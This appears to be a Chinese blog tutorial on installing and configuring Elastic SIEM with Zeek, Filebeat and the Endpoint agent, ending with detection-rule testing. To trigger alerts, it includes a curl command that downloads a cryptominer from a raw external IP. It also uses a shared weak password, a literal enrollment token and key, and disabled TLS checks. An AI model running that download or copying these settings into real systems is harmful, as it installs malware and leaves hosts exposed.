安装SIEM
安全性资讯与事件 (SIEM) 是一种解决方案,可协助组织在威胁伤害企业运行之前,先进行侦测、分析和回应安全性威胁。以下使用centos7安装Elastic SIEM。
使用Ubuntu安装:https://blog.csdn.net/UbuntuTouch/article/details/114023944
https://elasticstack.blog.csdn.net/article/details/112647180
安装Elasticsearch
创建RPM配置/etc/yum.repos.d/elasticsearch.repo
[elasticsearch]
name=Elasticsearch repository for 7.x packages
baseurl=https://artifacts.elastic.co/packages/7.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=0
autorefresh=1
type=rpm-md
安装
yum install --enablerepo=elasticsearch elasticsearch
或者下载rpm文件
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.3-x86_64.rpm
sudo rpm --install elasticsearch-7.16.3-x86_64.rpm
修改/etc/elasticsearch/elasticsearch.yml
cluster.name: demo-elk
node.name: elk-1
network.host: 0.0.0.0
discovery.type: single-node
启动es
service elasticsearch start
安装kibana
同样创建配置/etc/yum.repos.d/kibana.repo
[kibana-7.x]
name=Kibana repository for 7.x packages
baseurl=https://artifacts.elastic.co/packages/7.x/yum
gpgcheck=1
gpgkey=https://artifacts.elastic.co/GPG-KEY-elasticsearch
enabled=1
autorefresh=1
type=rpm-md
安装
yum install kibana
或者下载rpm文件
wget https://artifacts.elastic.co/downloads/kibana/kibana-7.16.3-x86_64.rpm
sudo rpm --install kibana-7.16.3-x86_64.rpm
编辑配置文件/etc/kibana/kibana.yml
server_port: 5601
server_host: 0.0.0.0
server_name: demo-kibana
启动
service kibana start
安装Filebeat
yum install filebeat
安装 Zeek
一些需要的组件
yum install cmake gcc-c++ gcc make flex bison swig python3 python3-devel
下载
git clone --recursive https://github.com/zeek/zeek
配置环境
./configure --prefix=/opt/zeek
如果显示cmake版本不对,则去下载cmake
wget https://cmake.org/files/v3.18/cmake-3.18.6-Linux-x86_64.tar.gz -O /opt/
yum remove cmake
# 编辑环境变量写入
export CMAKE_HOME=/opt/cmake
export PATH=$PATH:$CMAKE_HOME/bin
source /etc/profile
cmake -version
再此执行上面的命令如果报错No CMAKE_CXX_COMPILER could be found
,安装gcc-c++
yum install gcc-c++
如果报错 Could NOT find ZLIB
,安装zlib
wget http://www.zlib.net/zlib-1.2.11.tar.gz
tar -xvzf zlib-1.2.11
./configure
make && make install
如果报错 Could not find prerequisite package 'PCAP'
,安装libpcap
wget https://www.tcpdump.org/release/libpcap-1.10.1.tar.gz
tar -zxvf libpcap-1.10.1.tar.gz
cd libpcap-1.10.1
./configure
make -j8
make install
如果报错Could not find prerequisite package 'OpenSSL'
,安装libssl
yum install openssl-devel
如果提示GCC版本过低,scl源安装多版本gcc
yum install centos-release-scl
yum install devtoolset-7-gcc*
scl enable devtoolset-7 bash
安装基本就可以成功,但是时间有点长,添加环境变量
export PATH=/opt/zeek/bin:$PATH
在 /opt/zeek/etc 找到一个叫做 node.cfg 的配置文件。修改网卡名
interface=ens33
安装sendmail
yum install sendmail
部署zeek
zeekctl deploy
在 /opt/zeek/logs 目录里发现日志。“current” 目录保存当天的日志,而前几天的日志则存档到其自己的目录中。
配置安全访问
需要创建一个 YAML 文件 /usr/share/elasticsearch/instances.yml
instances:
- name: "elasticsearch"
ip:"192.168.0.4"
- name: "kibana"
ip:"192.168.0.4"
- name: "zeek"
ip:"192.168.0.4"
运行生成证书
/usr/share/elasticsearch/bin/elasticsearch-certutil cert ca --pem --in instances.yml --out certs.zip
如果报错,说明如下是格式对其上有问题
expected <block end>, but found '<block mapping start>'
in 'reader', line 3, column 3:
ip: "192.168.36.133"
^
正常生成后,在运行解压缩
unzip /usr/share/elasticsearch/certs.zip -d /usr/share/elasticsearch/
配置 Elasticsearch SSL
创建一个文件夹将你的证书存储在我们的 Elasticsearch 主机上。
mkdir /etc/elasticsearch/certs/ca -p
需要将解压缩的证书复制到其相关文件夹中并设置正确的权限。
cp ca/ca.crt /etc/elasticsearch/certs/ca
cp elasticsearch/elasticsearch.crt /etc/elasticsearch/certs
cp elasticsearch/elasticsearch.key /etc/elasticsearch/certs
chown -R elasticsearch: /etc/elasticsearch/certs
chmod -R 770 /etc/elasticsearch/certs
将 SSL 配置添加到我们的 /etc/elasticsearch/elasticsearch.yml 文件
# Transport layer
xpack.security.transport.ssl.enabled: true
xpack.security.transport.ssl.verification_mode: certificate
xpack.security.transport.ssl.key: /etc/elasticsearch/certs/elasticsearch.key
xpack.security.transport.ssl.certificate: /etc/elasticsearch/certs/elasticsearch.crt
xpack.security.transport.ssl.certificate_authorities: [ "/etc/elasticsearch/certs/ca/ca.crt" ]
# HTTP layer
xpack.security.http.ssl.enabled: true
xpack.security.http.ssl.verification_mode: certificate
xpack.security.http.ssl.key: /etc/elasticsearch/certs/elasticsearch.key
xpack.security.http.ssl.certificate: /etc/elasticsearch/certs/elasticsearch.crt
xpack.security.http.ssl.certificate_authorities: [ "/etc/elasticsearch/certs/ca/ca.crt" ]
重新启动 Elasticsearch。
service elasticsearch restart
配置 Kibana SSL
配置证书
mkdir /etc/kibana/certs/ca -p
cp ca/ca.crt /etc/kibana/certs/ca
cp kibana/kibana.crt /etc/kibana/certs
cp kibana/kibana.key /etc/kibana/certs
chown -R kibana: /etc/kibana/certs
chmod -R 770 /etc/kibana/certs
文件 /etc/kibana/kibana.yml
elasticsearch.hosts: ["https://192.168.36.133:9200"]
elasticsearch.ssl.certificateAuthorities: ["/etc/kibana/certs/ca/ca.crt"]
elasticsearch.ssl.certificate: "/etc/kibana/certs/kibana.crt"
elasticsearch.ssl.key: "/etc/kibana/certs/kibana.key"
#在 Kibana 和浏览器之间添加配置
server.ssl.enabled: true
server.ssl.certificate: "/etc/kibana/certs/kibana.crt"
server.ssl.key: "/etc/kibana/certs/kibana.key"
重新启动
service kibana restart
配置 Beats (Zeek) SSL
首先将证书复制到运行 Zeek 的主机上,然后使用正确的权限创建证书目录。 您需要同时复制 Zeek 证书和 CA 证书。
mkdir /etc/filebeat/certs/ca -p
cp ca/ca.crt /etc/filebeat/certs/ca
cp zeek/zeek.crt /etc/filebeat/certs
cp zeek/zeek.key /etc/filebeat/certs
chmod 770 -R /etc/filebeat/certs
修改配置/etc/filebeat/filebeat.yml
output.elasticsearch.hosts: ['192.168.36.133:9200']
output.elasticsearch.protocol: https
output.elasticsearch.ssl.certificate: "/etc/filebeat/certs/zeek.crt"
output.elasticsearch.ssl.key: "/etc/filebeat/certs/zeek.key"
output.elasticsearch.ssl.certificate_authorities: ["/etc/filebeat/certs/ca/ca.crt"]
setup.kibana:
host: "https://192.168.36.133:5601"
ssl.enabled: true
ssl.certificate_authorities: ["/etc/filebeat/certs/ca/ca.crt"]
ssl.certificate: "/etc/filebeat/certs/zeek.crt"
ssl.key: "/etc/filebeat/certs/zeek.key"
重启filebeat
service filebeat restart
运行以下命令来检查 FileBeats 是否可以连接到 Elasticsearch。 一切都应该返回“OK”。
filebeat test output
至此,如果想在Integrations添加集成模块,会提示不能添加,需要管理员设置,说明没有认证。
添加身份验证
编辑 /etc/elasticsearch/elasticsearch.yml 启用安全
xpack.security.enabled: true
重新启动 Elasticsearch:
service elasticsearch restart
Elasticsearch 附带了一个工具来执行此操作。 运行以下命令以生成这些密码并将其保存在安全的地方
/usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive
会设置多个账号密码,可以按照需要来修改,此处使用admin123,相同的设置。
这时候再去访问9200端口发现需要身份认证。同样kibana也不能访问,修改配置/etc/kibana/kibana.yml
elasticsearch.username: "kibana_system"
elasticsearch.password: "admin123"
重新启动 Kibana:
service kibana restart
修改Filebeat 配置/etc/filebeat/filebeat.yml
output.elasticsearch.username: "elastic"
output.elasticsearch.password: "admin123"
重新启动 Filebeat:
service filebeat restart
安装证书
链接显示不好安全链接,且本地不能验证证书,这里添加证书到本地验证,也就是生成的ca.cer添加到受信任的根证书机构中。
Management > Fleet。第一次访问此页面时,可能需要一分钟才能加载。
添加 Zeek
添加 Zeek 数据到 Elasticsearch,在集成模块中选择Zeek Logs。
使用如下的命令来启动 zeek 模块:
filebeat modules enable zeek
将 @load policy/tuning/json-logs.zeek
行编辑到文件 /opt/zeek/share/zeek/site/local.zeek
中。
保存好文件,并重新启动 zeek:
zeekctl deploy
现在检查日志是否为 JSON 格式。 即使你不熟悉 JSON,日志的格式也应该与以前明显不同。
tail -f /opt/zeek/logs/current/status.log
编辑配置文件 /etc/filebeat/modules.d/zeek.yml。对于 /opt/zeek/logs/ 文件夹中的每个日志文件,必须定义 “current” 日志的路径以及以前的任何日志,如下所示,需要把配置中的全部都修改一下。
dns:
enabled: true
var.paths: [ "/opt/zeek/logs/current/dns.log", "/opt/zeek/logs/*.dns.json" ]
不希望 Elasticsearch 提取这些文件,则只需将 “enabled” 字段设置为 false。 重要的是,将在 /opt/zeek/logs中没有日志文件的所有日志源设置为 enabled: false,否则会收到错误消息。
启动 Filebeat 并启动该服务。
sudo filebeat setup
sudo service filebeat restart
点击上面的 Zeek Overview 按钮, 我们将看到 Zeek 的信息
启动检测
security–Detections中点击View document。编辑你的 Kibana 配置件 /etc/kibana/kibana.yml,然后添加 xpack.encryptedSavedObjects.encryptionKey。
xpack.security.enabled: true
# xpack.fleet.agents.tlsCheckDisabled: true
xpack.encryptedSavedObjects.encryptionKey: "something_at_least_32_characters"
重新启动 Kibana:
service kibana restart
经过上面的设置后,我们终于可以创建检测规则了。在Rules下的Create new rule。
安装 Endpoint agent
跟上面有些区别,但区别不大。先安装es和kibana。
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.16.3-amd64.deb
sudo dpkg -i elasticsearch-7.16.3-amd64.deb
wget https://artifacts.elastic.co/downloads/kibana/kibana-7.16.3-amd64.deb
sudo dpkg -i kibana-7.16.3-amd64.deb
修改es配置/etc/elasticsearch/elasticsearch.yml
network.host: 0.0.0.0
discovery.type: single-node
xpack.security.enabled: true
xpack.security.authc.api_key.enabled: true
启动es
sudo service elasticsearch start
需要先设置密码
sudo /usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive
修改kibana配置/etc/kibana/kibana.yml
server.host: "192.168.36.135"
elasticsearch.username: "kibana_system"
elasticsearch.password: "admin123"
xpack.security.enabled: true
xpack.fleet.agents.tlsCheckDisabled: true
xpack.encryptedSavedObjects.encryptionKey: "AE3CA37A74386E07E471EEB842720384"
启动kibana
sudo service kibana start
7.11.1
然后在security选项中选择Fleet,在页面Add Fleet Server integration下配置规则。
点击create new policy创建规则。
选择后点击save,在Agent policies下的规则内点击add agent。
下载agent:https://www.elastic.co/cn/downloads/past-releases/elastic-agent-7-11-1
运行的时候那个命令可能缺个参数–insecure,
sudo ./elastic-agent install --insecure -f --kibana-url=http://192.168.36.135:5601 --enrollment-token=WmJhTm5uNEJBbmthYjZpY0ZyZ2M6NktXX3NHbU5UUTJlZlhZTGc2QlVVdw==
agent端显示healthy表示安装正常。
7.16.3
刚开始启动的时候可能需要一点时间,才能访问页面。输入设定好的账号密码。
先在Integrations下选择endpoint security,点击右上角的ADD endpoint security。
跳转到Fleet页面,这个页面加载估计需要一分钟左右,创建Configure integration,设置集成名。点击下面的创建agent规则,或者使用默认规则。
关闭了收集agent日志
点击右下角的save and continue。
弹窗出来Endpoint Security integration added页面,点击右边的按钮。
点击agent的名字,选择上面的Add integration。搜索fleet server。点击添加。save保存即可。
保存后再点击按钮,又到了这个页面,可以看到多了一个集成工具
右上角fleet setting配置fleet和es地址
http://192.168.36.135:8220
http://192.168.36.135:9200
点击保存应用。
下载agent:https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-7.16.3-linux-x86_64.tar.gz
选择对应的agent规则
按照页面上的命令安装,上面选择的是快速安装,系统安装成功后会显示successfully installed。
页面上也会显示Fleet Server connected。
再fleet的页面下也可以看到添加成功的agent主机信息
再security下选择Rules去启用规则,点击Select all 623 rules,再bulk actions中选择第一个启用。
其中有一些是需要机器学习来启用的,这个是付费功能,我们暂时不管,如果有报错,那可能是一次启用太多,多试几次,或者分开启用。
如果需要添加代理,则在同页面下的endpoint下去选择集成添加即可。
在alerts页面下可以看到告警,这个我们安装一个挖矿程序。
curl -O 2.58.149.237:6972/hoze
在alerts页面下就可以看到几条告警
点击分析事件,看到调用关系。点击其中执行的命令可以看到具体的调用参数。
如果一直没看到数据,需要查看添加agent的时候是不是选对规则了,这里设置的一个test policy。在Fleet中查看agent的规则,如果发现不是我们自己设定的规则,那需要修改一下规则。
在agent policies中可以看到规则中存在的主机系统。
以上的告警,也可以在Analytics中查看,Discover,比如筛选其中的进程md5hash。